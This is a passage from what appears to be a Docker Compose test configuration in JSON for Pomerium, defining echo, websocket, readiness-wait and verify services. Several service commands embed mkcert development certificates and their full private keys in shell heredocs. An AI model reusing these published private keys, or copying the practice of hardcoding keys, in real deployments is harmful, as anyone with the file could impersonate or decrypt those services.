ZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\\ngmLh4w/CcPyb9ZyXceWU/nU=\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-2-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"trusted-2-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://trusted-2-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-2-httpdetails-ready\"\n          ]\n        }\n      }\n    },\n    \"trusted-3-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\\nxjUE8XUu\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\\ngmLh4w/CcPyb9ZyXceWU/nU=\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-3-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"trusted-3-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://trusted-3-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-3-httpdetails-ready\"\n          ]\n        }\n      }\n    },\n    \"trusted-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\\nxjUE8XUu\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\\ngmLh4w/CcPyb9ZyXceWU/nU=\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"trusted-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://trusted-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-httpdetails-ready\"\n          ]\n        }\n      }\n    },\n    \"untrusted-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKKYU7PSAFxZbhuLUlbv3iAwDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\\nMTU2MTFaFw0yMzExMTEyMjU2MTFaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCg\\nVDM59lGzCRjdUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHG\\noryKGDOkRV1SDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2v\\nJX4qTwgrqQtLOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqP\\nqpc6AEFuklmoBHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPw\\nve8VoGIlx4uvHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxG\\nmgByfa2rxbNg15PFwF+ZAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBS3GPBKDaHzHK68c8sSJ91umTjFVzAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAizMhh+VYIMp07wGn7+rzAE/651yiMC6kZHIOMHilvimyYvCf+Yc0MrcD\\nmVQgqlUpkn/f2SOFsBQonjAACkWlSHah9KStL0iTvOIH+oGLnv3Y9wrKvwJol3KR\\nc/+mO9R9TS71DoX+rTGRY3BNldpMBZF7HsYt/bg0RSpF0zkZarW+PEMmPw6IgIaD\\nRPGpOiQOqIxQn4d6MyiNGS0QmDeGSZvsC07ZcZ+JxsYi4S+yN6GXt11pstiRXjDv\\nzrO3s8TnVsBux7VDdIYfzMxqz+874MbsUUlb4txr3V48UDRLm7VDQ2/F+o0+Y5wt\\nXAnXTn/6GFpjJvPGr0A1QLOvnhR0DZ4Fl97athu44pqeQywDU5LPP3HqrWRXLy3j\\nBPBC4waHayL9Hnh4zQUe/h6hwC5Nxl/gqfB3Aaqr5PWX6rMFss8AYpB81ci+UJdm\\nKSIn/pMoK6TWkCveoQRQOZD8wfwPF4cUUmWcLFwSveZSiniFrAXQqZbO1k6RDhQf\\nhavcwKlK\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCgVDM59lGzCRjd\\nUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHGoryKGDOkRV1S\\nDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2vJX4qTwgrqQtL\\nOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqPqpc6AEFuklmo\\nBHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPwve8VoGIlx4uv\\nHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxGmgByfa2rxbNg\\n15PFwF+ZAgMBAAECggEADTzGefunZTPUFLnSZ/D7jDglwz5KdC/9zYleY+jY5B/8\\nnmjkSfK6I6GLLSh8l2QO8YqQLIqxANglS1gNHdpcYPwfC4WL1S1P0qXboKsI5Sfy\\njGoD3et4caq6ecdTfAvmLobW8uFRmGE9qHlFQ1cn47OnPVZUpKFCTVslyTLNo70h\\n28gx/lnpgkbeWotJ5GygE/H0jKJlG8/V3+Ppfuq6wypA5ELcGUeMAwmCfUNNlDy3\\nBhXSa6STgL26ar70KZIjTp9B97hIfDWObxgjzMX2JoiWXziszvbfaknfBsmfTm45\\noUZYO0DuvLdLpxic0GZQwZCT6GzuexxJ9zR/pdahrQKBgQDEiwc0e+M1KaOoIIcw\\nV7pxoGjvd+CC5whS00jSf/rXPSPFxat9Ml5serOzLdRLM/NQ5wB9S7TYc6PJi3Mb\\n8pmbGadIXiGIJY8vX79P/velHT4csgULJAKJF9U65knhaidPPPmXloHOhRWrE8Zq\\nmexVgJZrHLI8197qmi+ctT5rEwKBgQDQ1J84AwI1hEsXHxoSetSznt+ae7pSUb/J\\nbyqK9KEp0DLyf8GcS7vxyYGQo0mJDlHaJt56LKv+zdX4wGG85ztbOFVPee6XLKSs\\nI+h7rzc2hKrl+SaI91h1234WsTeJvfUSHyBy9vAwLhd0hplNrt7Tql5Z0VTWHmFE\\n2XbEwcTUIwKBgQDBpioHMDmBW/F/6ezJWOa+pco+h+KRl4i/8qVBog9Im1jvt/9r\\nb4FRaOQ9mt4c6qbGA5Sb30fkLKwoHFniI3ntM616xCRNvJQDnVcmPpVJ/jIAm/YU\\nL/q/kNfrHJOWobzxeaaCESz8imv7D5Tj25zb8cJC7xc+k4Nzq09WG83QOQKBgG28\\nLOZ7/j8tA2BlAYhQb1Dr3UgKWEBFoOgyuEJIhh+4vezb4VtGGL7XSnQ8ubmBgtWF\\ns0a0DrVYaGXMgg+H2pL2qS2YPx3FYcrrG5FS40qMsFkkcXFruFpGOp2mBi8lWJBr\\nNtvykwheUAj1ab1+dKz5S5ca/t99G1PYiiaeQ9XNAoGAVXk4HvdUc5q+BNiYvKUS\\nM2/TDU3cYY72mPCEw7G6Kpn6zMaakQcA1+Z8LkYcLaQKRD/66n99WWT+BcY+QXtC\\n0ZPHjeepDL8q+yXRY8zlcgAukg18Ta5yD1J1014y8UIV+HY8ongTni1sI8N+vKd4\\n+TF2C2Cynf5vQr5man7ShPw=\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"untrusted-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"untrusted-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://untrusted-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"untrusted-httpdetails-ready\"\n          ]\n        }\n      }\n    },\n    \"verify\": {\n      \"depends_on\": {\n        \"verify-init\": {\n          \"condition\": \"service_completed_successfully\"\n        }\n      },\n      \"environment\": {\n        \"SSL_CERT_FILE\": \"/verify_config/ca.pem\"\n      },\n      \"image\": \"pomerium/verify:${VERIFY_TAG:-latest}\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"verify\"\n          ]\n        }\n      },\n      \"volumes\": [\n        \"verify_config:/verify_config\"\n      ]\n    },\n    \"verify-init\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"echo '-----BEGIN CERTIFICATE-----\\nMIIE1zCCAz+gAwIBAgIQZ139cd/paPdkS2JyAu7kEDANBgkqhkiG9w0BAQsFADCB\\ngzEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMSwwKgYDVQQLDCNjYWxl\\nYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTEzMDEGA1UEAwwqbWtjZXJ0\\nIGNhbGViQGNhbGViLXBjLWxpbnV4IChDYWxlYiBEb3hzZXkpMB4XDTIxMDgxMDE3\\nMzIwOVoXDTMxMDgxMDE3MzIwOVowgYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w\\nbWVudCBDQTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXggKENhbGViIERv\\neHNleSkxMzAxBgNVBAMMKm1rY2VydCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2Fs\\nZWIgRG94c2V5KTCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBANbKyMz5\\nMVW6YKdjh1oIN1Mn7PE2pH5SbJSpWxdAGhdBkBkpAa7OxarjH5KVkCTSa7oncla7\\nqNuJZS6mBmoxF+R+cR3jyGdUAYlozl1jlfqLIfC/+g7V7VmOJn98tjB42fatxLl6\\nWPAw1JDNsWtQfhKhbcHut7RsF0rMOOHcwywTR7LOyCmIel1pcmpV4hbVcT6eVwoP\\nHXyJSa9cqaMQ5Xrdogai4IqZZIGLHeLsTVutOgJFXEevlX/QT3sWomEctzh38Js4\\n9DiAPD6d4Y7/CPLYEfk29JQ9NZhpgDsi9hu5FHHZcXwf1IHlw/CBVgn6j+jmvKKz\\n90Ma1oquv3W6dttid/xCcLGu2S+96Tzrykmoy5VacLtVEP41YmoVls91rlo7olpe\\nQWFbnmco739TI/4h+HodolperQERQl7uCnpKVPZ3WokKuRh5pkqkQp/arQjtwcRt\\nG43CrDpbl+uSjMCAxha958eTYvtojTMnvLtsGID1hGXnqlw+5KjKrgRHrQIDAQAB\\no0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4E\\nFgQUhYZYWIBHyk6ZVTnp3lRt/tyBP00wDQYJKoZIhvcNAQELBQADggGBAA1F/apr\\nl6pNT3Mp/MxhUUgo6usEJCryGQcLRfexyQXGN3huCmIrP55VFa8ETPAtjsr6PMe7\\n7vvEj8eFu2JtKovlQwNewYU9cjAMCVaFiNbrQa20hzhWc2js6dyildE6/DPzbeds\\nKDAxhFNp35SlwtRtKk1SzxJxsqSwjfxI8fp+R/0wO8g0fWTdM2gCpRwYMNwJELEg\\n+dSlvJCwuu+rzxLalzaPF1PMTW72OELal/j5sD+2VytQ4k+HUDbyt2DnQT7YQ3zo\\nq02x2u2sm1WW/o/uh8pjPxkGQqL2mryZs6VH9VCU3QkKNDssNd71lr3wPoE4YRHe\\nUvzD1eDeelzBUFNIpDCjdCsL55yIPqUsr6lmjpBPL0vea33QTMbcsSxu0umGXDbU\\n66juU4Z1jOE0wClIvaO699J+E2gBe1jUN6At6b8BSoZqCqXYoDHGei9RBUdvgqto\\nkVsoJfDI/TFMekYgpL5UVYmLdfgqLPPRP9pQBLDx3mszeAqnvfTICAzfXg==\\n-----END CERTIFICATE-----\\n' > /verify_config/ca.pem\"\n      ],\n      \"image\": \"busybox:latest\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"verify-init\"\n          ]\n        }\n      },\n      \"volumes\": [\n        \"verify_config:/verify_config\"\n      ]\n    },\n    \"verify-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://verify:8000/\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"verify-ready\"\n          ]\n        }\n      }\n    },\n    \"websocket-echo\": {\n      \"command\": [\n        \"--port\",\n        \"80\",\n        \"tee\"\n      ],\n      \"image\": \"pvtmert/websocketd:latest\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"websocket-echo\"\n          ]\n        }\n      }\n    },\n    \"websocket-echo-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"tcp://websocket-echo:80\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"websocket-echo-ready\"\n          ]\n        }\n      }\n    },\n    \"wrongly-named-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEWDCCAsCgAwIBAgIRAK1MkqoHP+DPILewhMcnnu4wDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\\nMTU0MzRaFw0yMzExMTEyMjU0MzRaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV\\nDWPhOpNWAYNTQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM\\n3cvyRs40dygZeogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV\\n6ttf6y0+4Nq1hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3E\\nlxIYQsCr85FyW8wWtPxn6mdFHc/iSUh0e